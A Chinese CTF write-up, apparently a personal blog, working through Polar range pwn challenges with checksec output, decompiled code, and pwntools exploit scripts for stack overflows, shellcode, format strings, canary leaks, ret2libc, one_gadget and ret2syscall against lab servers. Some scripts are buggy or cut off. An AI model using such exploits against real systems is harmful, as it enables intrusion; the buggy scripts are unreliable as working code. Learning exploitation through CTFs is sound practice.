这个靶场挺好的,比较基础

后缀未做出的我都会标记

后续会补上

Polar-Pwn

overload1

2024.9.25

日常检查

就是一个常规的覆盖溢出

但是就是要记住gets函数溢出的栈的长度

ida反编译的不太对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 
from pwn import*

p=remote('120.46.59.242', 2102)
#p=process('./1111')




ret_addr=0x0000000000400661
pop_rdi=0x0000000000400973
bin_sh=0x000000400A3C
system_addr=0x04008FD
p.sendafter('输入y/n',b'y')
p.recvuntil('\n')
##p.recv()
payload = b'a'*0x117
p.sendline(payload)
#p.sendline(payload)
p.interactive()

Easy_ShellCode

日常检查

1
2
3
4
5
6
7
8
9
10
bbq@ubuntu:~/桌面/啊布拉布拉/Polar/pwn/Easy_ShellCode$ checksec 1111
[*] '/home/bbq/桌面/啊布拉布拉/Polar/pwn/Easy_ShellCode/1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
bbq@ubuntu:~/桌面/啊布拉布拉/Polar/pwn/Easy_ShellCode$

丢进ida里面看看

1
2
3
4
5
6
7
8
9
10
ssize_t Start()
{
char buf[104]; // [esp+0h] [ebp-68h] BYREF

init();
write(1, "Please Input:\n", 0xEu);
read(0, &str, 256u);
puts("What,s your name ?:");
return read(0, buf, 256u);
}

怎么说呢?

str在bss段上

buf在栈上

没有后门

在bss段上写shellcode?

在buf栈上执行??????

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*
context(log_level= 'debug', arch = 'i386', os = 'linux' )

p=process('./1111')
p=remote('120.46.59.242', 2101)
str_addr=0x804A080
p.recvuntil('Please Input:\n')
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)



p.recvuntil('What,s your name ?:\n')
payload=b'a'*(0x68+4)+p32(str_addr)
p.sendline(payload)
p.interactive()

yes,是这样的

简单题是这样的

要是所有的都这样就好了

Easy_Text+Fmt

2024.9.25

1
2
3
4
5
6
7
8
bbq@ubuntu:~/桌面/啊布拉布拉/Polar/pwn/Easy_Text+Fmt$ checksec 1111
[*] '/home/bbq/桌面/啊布拉布拉/Polar/pwn/Easy_Text+Fmt/1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
bbq@ubuntu:~/桌面/啊布拉布拉/Polar/pwn/Easy_Text+Fmt$

日常检查

丢进ida里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[104]; // [esp+Ch] [ebp-6Ch] BYREF

init();
puts("Please Input Your Lucky Number:");
gets(s);
printf(s);
if ( x == 66 )
Choice1();
if ( y == 6710886 )
Choice2();
if ( d == 48 )
Choice3();
else
printf("You don't know much about string formatting, so go ahead and learn!");
return 0;
}

简单的格式化字符串,

简单的找一下偏移

偏移为7

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p=process('./1111')

y_addr=0x804A038

payload=p32(y_addr)+p32(0x666666)+b'%$7n'


p.sendline(payload)


p.interactive()

操了

还有个后门啊

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
p= remote('120.46.59.242', 2126)
context(log_level='debug',arch='i386',os='linux')
d_addr=0x804A040
backdoor=0x80486B0
payload=p32(d_addr)+b'a'*(48-4)+b'%7$n'
#payload= payload = fmtstr_payload(7,{d_addr:0x30})
p.recv()
p.sendline(payload)
payload1=b'a'*(0x3a+4)+p32(backdoor)
p.recv()
p.sendline(payload1)
p.interactive()

###############################################################################
from pwn import *

p= remote('120.46.59.242', 2126)

context(log_level='debug',arch='i386',os='linux')
d_addr=0x804A040
backdoor=0x80486B0

payload=p32(d_addr)+b'a'*(48-4)+b'%7$n'
#payload= payload = fmtstr_payload(7,{d_addr:0x30})
p.recvuntil("Please Input Your Lucky Number:\n")
p.sendline(payload)

payload1=b'a'*(0x3a+4)+p32(backdoor)
p.recvuntil('Please Input:')

p.sendline(payload1)

p.interactive()

好题啊好题

小狗汪汪汪

2024.9.25

日常检查

1
2
3
4
5
6
7
8
9
bbq@ubuntu:~/桌面/pwn/小狗汪汪汪$ checksec 1111
[*] '/home/bbq/pwn/小狗汪汪汪/1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
bbq@ubuntu:~/桌面/啊布拉布拉/御宛杯(社会赛道)/pwn/小狗汪汪汪$

看着还行

ida里面看看

后门

1
2
3
4
5
6
7
from pwn import*

p=remote('120.46.59.242',2073)
#p=process('./1111')
payload = b'a'*(0x9+4)+p32(0x804859B)
p.sendline(payload)
p.interactive()

小猫喵喵喵

2024.8.25

日常检查

1
2
3
4
5
6
7
8
bbq@ubuntu:~小猫喵喵喵$ checksec 1111
[*] '/home/bbq//1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
bbq@ubuntu:~/桌面/啊布拉布拉/御宛杯(社会赛道)/pwn/小猫喵喵喵$

看着不难应该

自己写个shell吗?

套公式吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
#context.log_level = 'debug'
p = remote('120.46.59.242', 2142)
#p= process('./pwn')


offset = (0x6c+4)
system_addr = 0x8048480
buf2_addr = 0x804A080
gets_addr = 0x8048450
payload = b'a'*offset + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

歪日

这个get是用不了

我嘞个豆

看一眼wp,这个scanf是直接当gets用的

format_ret2libc

2024.9.25

1
2
3
4
5
6
7
8
bbq@ubuntu:~/桌面/啊布拉布拉/Polar/pwn/format_ret2libc$ checksec 1111
[*] '/home/bbq/桌面/啊布拉布拉/Polar/pwn/format_ret2libc/1111'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
bbq@ubuntu:~/桌面/啊布拉布拉/Polar/pwn/format_ret2libc$

日常检查

盲猜一手

格式化字符串泄露canary地址

然后找libc基址

canary有一个,基址有一个

先找一手偏移

1
2
3
4
5
6
bbq@ubuntu:~/桌面/啊布拉布拉/Polar/pwn/format_ret2libc$ ./1111
Nice to meet you!
Say some words:
aaaaaaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p
aaaaaaaa_0x7ffd68abfb20_0x80_0x7f40387d11f2_0x12_0x7f40388d9d60_0x6161616161616161_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0x255f70255f70255f_0x5f70255f70255f70_0x980000a7025_0x98000000980_0x7f4038751e8d_(nil)_0x7f40388b06a0_0x1_0x7f40388b0723_0xd68
What's your name?

偏移为6

然后就是看一下canary的位置

1
2
3
4
5
6
7
8
.text:0000000000400888                 mov     rax, [rbp+var_8]
.text:000000000040088C xor rax, fs:28h

;-0000000000000070
;-0000000000000070 buf db 104 dup(?)
;-0000000000000008 var_8 dq ?
;+0000000000000000 s db 8 dup(?)
;+0000000000000008 r

在rbp上面8位

1
2
3
4
5
+-----------------+
| canary |
+-----------------+
| rbp |
+-----------------+

看一下主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
puts("Nice to meet you!");
secret();
SetString();
return 0;
}

__int64 secret()
{
char buf[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v2; // [rsp+108h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Say some words:");
read(0, buf, 0x80uLL);
printf(buf);
return 0LL;
}

unsigned __int64 SetString()
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+68h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("What's your name?");
read(0, buf, 0x100uLL);
return __readfsqword(0x28u) ^ v2;
}

大概也知道了

第一次read函数进行泄露canary地址

第二次泄露进行泄露puts函数的基址

首先泄露canary地址吧

接收一下

1
2
3
4
5
gdb 111
b *printf
c
aaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p
stack 50

image-20240930144020354

可以看见

1
2
0xddc8-0xdcc0=0x108
0x108/4=33

可以看见偏移为33

33加上6总共为39

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *


p=process('./1111')
elf=ELF('./1111')

payload='%39$p'
p.sendline(payload)

r.recvuntil('0x')
canary = int(r.recv(16),16)
#把canary接上
p.interactive()

后面接着puts函数进行泄露libc版本就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *


p=remote('120.46.59.242',2140)
#p=process('./1111')
elf=ELF('./1111')
libc=ELF('./')
payload='%39$p'
p.sendline(payload)
p.recvuntil('0x')
canary = int(p.recv(16),16)
#把canary接上
#p.interactive()

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x00000000040084B
pop_rdi =0x0000000000400943
ret_addr=0x00000000004005d9
#attack1

p.recvuntil('name?\n')
payload = b'a'*(0x70-8)+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)
#p.recvuntil('\n')
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

#文件库
#libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.sym["puts"]
print(hex(libc_base))
system_addr = libc_base+libc.sym["system"]
bin_sh = libc_base+libc.search(b"/bin/sh\x00").__next__()

#attack2
p.recvuntil('name?\n')
payload = b'a'*(0x70-8)+p64(canary)+b'a'*8+p64(0xdeadbeef)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
p.sendline(payload)
p.interactive()

libc版本一直试不对

so,本来都想放弃了

但是想起来有个onegadget来着

就试了试成了

脚本试AI改的

1
one_gadget ./libc6_2.23-0ubuntu11.2_amd64.so
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

# 远程连接
p = remote('120.46.59.242', 2140)
elf = ELF('./1111')
libc = ELF('./libc6_2.23-0ubuntu11.2_amd64.so')

# 泄露 canary
payload = '%39$p'
p.sendline(payload)
p.recvuntil('0x')
canary = int(p.recv(16), 16)

# 泄露 puts 地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x00000000040084B
pop_rdi = 0x0000000000400943
ret_addr = 0x00000000004005d9

p.recvuntil('name?\n')
payload = b'a'*(0x70-8) + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(f"[+] puts address: {hex(puts_addr)}")

# 计算 libc 基址
libc_base = puts_addr - libc.sym["puts"]
#print(f"[+] libc base: {hex(libc_base)}")

# 使用 onegadget 替换 system
# 这里你需要将 `0xXXXXXXXX` 替换为 `onegadget` 的输出地址
onegadget_addr = libc_base + 0x4527a # 通过 onegadget 工具得到

# 第二次攻击:利用 onegadget 执行 /bin/sh
p.recvuntil('name?\n')
payload = b'a'*(0x70-8) + p64(canary) + b'a'*8 + p64(ret_addr) + p64(onegadget_addr)
p.sendline(payload)
p.interactive()

最终得到flag

没人能拒绝猫猫

日常检查

1
2
3
4
5
6
7
8
bbq@ubuntu:~/桌面/啊布拉布拉/Polar/pwn/没人能拒绝猫猫$ checksec cat
[*] '/home/bbq/桌面/啊布拉布拉/Polar/pwn/没人能拒绝猫猫/cat'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
bbq@ubuntu:~/桌面/啊布拉布拉/Polar/pwn/没人能拒绝猫猫$

开了 个canary

丢进ida里面看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-50h] BYREF
__int64 s2[6]; // [rsp+20h] [rbp-30h] BYREF

s2[5] = __readfsqword(0x28u);
init(argc, argv, envp);
puts(" __ __,");
puts(" \\,`~\"~` /");
puts(" .-=-. / . .\\");
puts(" / .-. \\ { = Y}=");
puts(" (_/ \\ \\ \\ / ");
puts(" \\ \\ _/`'`'`b");
puts(" `.__.-'` -._");
puts(" | '.__ `'-;_");
puts(" | _.' `'-.__)");
puts(" \\ ;_..--'/ // ");
puts(" | / / | // | shawroot.cc");
puts(" \\ \\ __) // /");
puts(" \\__) '.// .'");
puts(" `'-'`");
s2[0] = 'tacetah';
puts("Do you love cat? (lovecat/hatecat)");
read(0, buf, 0x28uLL);
if ( !strcmp("lovecat", s2) )
{
puts("Nice choice!\n");
system("/bin/sh");
}
else
{
puts("Everyone have their own choice.\n");
puts("My choice is you have no flag^^");
}
return 0;
}

简单看一下s2也在栈上

一个简单的覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

from pwn import*
#p=process('./1111')
p=remote('120.46.59.242',2051)
elf=ELF('./1111')
#gdb.attach(p)

payload = b'a'*(0x20)+b'lovecat\x00'

p.sendline(payload)

#pause
p.interactive()


'''
from pwn import *
#r = remote('120.46.59.242',2106)


payload = b'a'*(0x50-0x30)+b'lovecat\x00'
r.sendline(payload)
r.interactive()
'''

sandbox

一个简单的沙箱,

1
$0绕过

easypwn2

1
2
3
4
5
6
7
8
bbq@ubuntu:~$ checksec easypwn
[*] '/home/bbq/easypwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
bbq@ubuntu:~$

ida看一眼,满足条件就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("**********************************");
puts("* Welcome to the 504sys! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("**********************************");
__isoc99_scanf("%16s", s);
if ( strchr(s, 45) )
return 0;
if ( atoi(s) < 0 )
vuln();
return 0;
}

找一下atoi函数的漏洞。

image-20241101205123736

what’s your name

2024.11.2

还是比较简单的

应该只是一个覆盖问题

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("Hey!What's this?!");
read(0, &b, 0x14u);
puts(c);
if ( !strcmp(c, "tznb") )
system("cat ./flag");
return 0;
}

image-20241102110109905

1
2
3
4
5
6
llq@llq-virtual-machine:~$ ./pwn2
Hey!What's this?!
aaaaabbbb
abbbb

llq@llq-virtual-machine:~$

应该还有个小段序的问题,这里直接搓脚本吧

1
2
3
4
5
6
7
8
9
from pwn import *

p=remote("1.95.36.136", 2118)

paylaod=b'aaaa'+b'tznb\x00\x00\x00\x00'
#有没有空字符都无所谓
p.send(paylaod)

p.interactive()

getshell

2024.11.2

1
2
3
4
5
6
7
8
9
10
11
llq@llq-virtual-machine:~$ checksec pwn2
[*] '/home/llq/pwn2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
llq@llq-virtual-machine:~$

有后门说是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int16 v4[2]; // [rsp+0h] [rbp-70h] BYREF
int v5; // [rsp+4h] [rbp-6Ch]
_BYTE v6[88]; // [rsp+8h] [rbp-68h] BYREF
int v7; // [rsp+60h] [rbp-10h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
v4[0] = 0;
v4[1] = 0;
v5 = 0;
memset(v6, 0, sizeof(v6));
v7 = 0;
printf("%p\n", v4);
gets(v4);
return 0;
}

啥意思呢?

直接打了栈的地址?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#context.log_level = 'debug'
#p = remote('pwn.challenge.ctf.show', 28146)
p=process('./pwn2')
offset = (0x70+8)
system_addr = 0x000000000400560
gets_addr = 0x000000000400590
rdi_addr = 0x0000000000400803
ret_addr = 0x0000000000400549
buf2_addr = 0x000000000601060
payload = b'a'*offset + p64(rdi_addr) + p64(buf2_addr) + p64(gets_addr) + p64(rdi_addr) + p64(buf2_addr) + p64(system_addr)
p.recv()
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

应该不是这样做的吧

谁道呢?

Game-找不到libc版本

2024.11.2

嘶!

1
2
3
4
5
6
7
8
9
llq@llq-virtual-machine:~$ checksec 1111
[*] '/home/llq/1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
llq@llq-virtual-machine:~$

看着还是挺正常的

漏洞gets函数

前面有几个绕过

但是没有后门??

傻逼了,泄露libc基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


context(os='linux',arch='i386',log_level='debug')
#context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
libc=ELF('./libc6-i386_2.23-0ubuntu11.3_amd64.so')
#libc=ELF('./libc6-i386_2.23-0ubuntu11.2_amd64.so')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./1111')
p=remote('1.95.36.136', 2053)
#p = process('./1111')

sla('game?',b'yes')
sla('learning?\n',b'yes')
rl('as you!\n')

payload=b'a'*(0x6c+4)+p32(elf.plt['puts']) + p32(0x80485F4) + p32(elf.got['puts'])
sl(payload)
puts_addr=get_addr32()
pr(hex(puts_addr))


'''
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
pr(hex(libc_base))
'''

libc_base=get_addr32()-libc.sym['puts']
pr(hex(libc_base))


'''
system_addr = libc_base+libc.sym["system"]
bin_sh = libc_base+libc.search(b"/bin/sh\x00").__next__()

#attack2
#sla('game?',b'yes')
#sla('learning?\n',b'yes')
#rl('as you!\n')
payload = flat([b'A'*(0x6c+4),system_addr,b'AAAA',bin_sh])
sl(payload)
'''


inter()

找不到libc版本,就这样吧

test_format

ida打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned int Input()
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v2; // [esp+6Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
memset(buf, 0, sizeof(buf));
puts("What's your name?");
read(0, buf, 0x50u);
printf(buf);
if ( n == 4 )
Shell();
else
puts("Bye~");
return __readgsdword(0x14u) ^ v2;
}

格式化字符串,确定一下偏移就行

1
2
3
4
5
llq@llq-virtual-machine:~$ ./test_format 
What's your name?
aaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p
aaaa_0xff934698_0x50_0xea47c576_0xea62ada0_(nil)_0x61616161_0x5f70255f_0x255f7025_0x70255f70_0x5f70255f_0x255f7025_0x70255f70_0x5f70255f_0x255f7025_0x70255f70_0x5f70255f_0x255f7025_0x70255f70_0x5f70255f_0x255f7025_0x70255f70_0x5f70255f_0x255f7025_0x70255f70_0x5f70255f_Bye~
llq@llq-virtual-machine:~$

看见偏移为6也是拿下了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


context(os='linux',arch='i386',log_level='debug')
#context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('./libc6-i386_2.23-0ubuntu11.3_amd64.so')
#libc=ELF('./libc6-i386_2.23-0ubuntu11.2_amd64.so')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./test_format')
#p=remote('1.95.36.136', 2053)
p = process('./test_format')

n=0x804A030
payload=p32(n)+"%6$n"
s(payload)

inter()

wsfw

03ret2syscall_32

1
2
3
4
5
6
7
8
9
10
11
12
llq@llq-virtual-machine:~$ checksec 1111
[*] '/home/llq/1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
llq@llq-virtual-machine:~$

这会包是ret2syscall了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


context(os='linux',arch='i386',log_level='debug')
#context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
libc=ELF('./libc6-i386_2.23-0ubuntu11.3_amd64.so')
#libc=ELF('./libc6-i386_2.23-0ubuntu11.2_amd64.so')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./')
#p=remote('1.95.36.136', 2053)
p = process('./')

pop_eax = 0x080b8576
pop_edx_ecx_ebx = 0x0806f250
bss = 0x80EBB80
int_0x80 = 0x0806cea3


edx_ecx_ebx_pop = 0x0806f250
sh_pop = 0x80EA068
Ret_syscall = 0x08062d2d
payload = b"a"*(0x208+4)
payload += p32(pop_eax)+p32(0x0b)
payload += p32(edx_ecx_ebx_pop)+p32(0x0)+p32(0x0)+p32(sh_pop)
payload += p32(ret_syscall)
sl(payload)
#sh.interactive()
inter()

有bin/sh哇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


context(os='linux',arch='i386',log_level='debug')
#context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('./libc6-i386_2.23-0ubuntu11.3_amd64.so')
#libc=ELF('./libc6-i386_2.23-0ubuntu11.2_amd64.so')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./1111')
p=remote('1.95.36.136', 2104)
#p = process('./1111')

pop_eax = 0x080b8576
pop_edx_ecx_ebx = 0x0806f250
#bss = 0x80EBB80
int_0x80 = 0x0806cea3


edx_ecx_ebx_pop = 0x0806f250
sh_pop = 0x80EA068
#ret_syscall = 0x08062d2d


payload = b"a"*(0x208+4)
payload += p32(pop_eax)+p32(0x0b)
payload += p32(edx_ecx_ebx_pop)+p32(0x0)+p32(0x0)+p32(sh_pop)
payload += p32(int_0x80)
sl(payload)
#sh.interactive()
inter()

easyrop

ida看一眼

有system函数和sh

大概是64位ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


context(os='linux',arch='i386',log_level='debug')
#context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('./libc6-i386_2.23-0ubuntu11.3_amd64.so')
#libc=ELF('./libc6-i386_2.23-0ubuntu11.2_amd64.so')
#libc=ELF('libc-2.23.so')
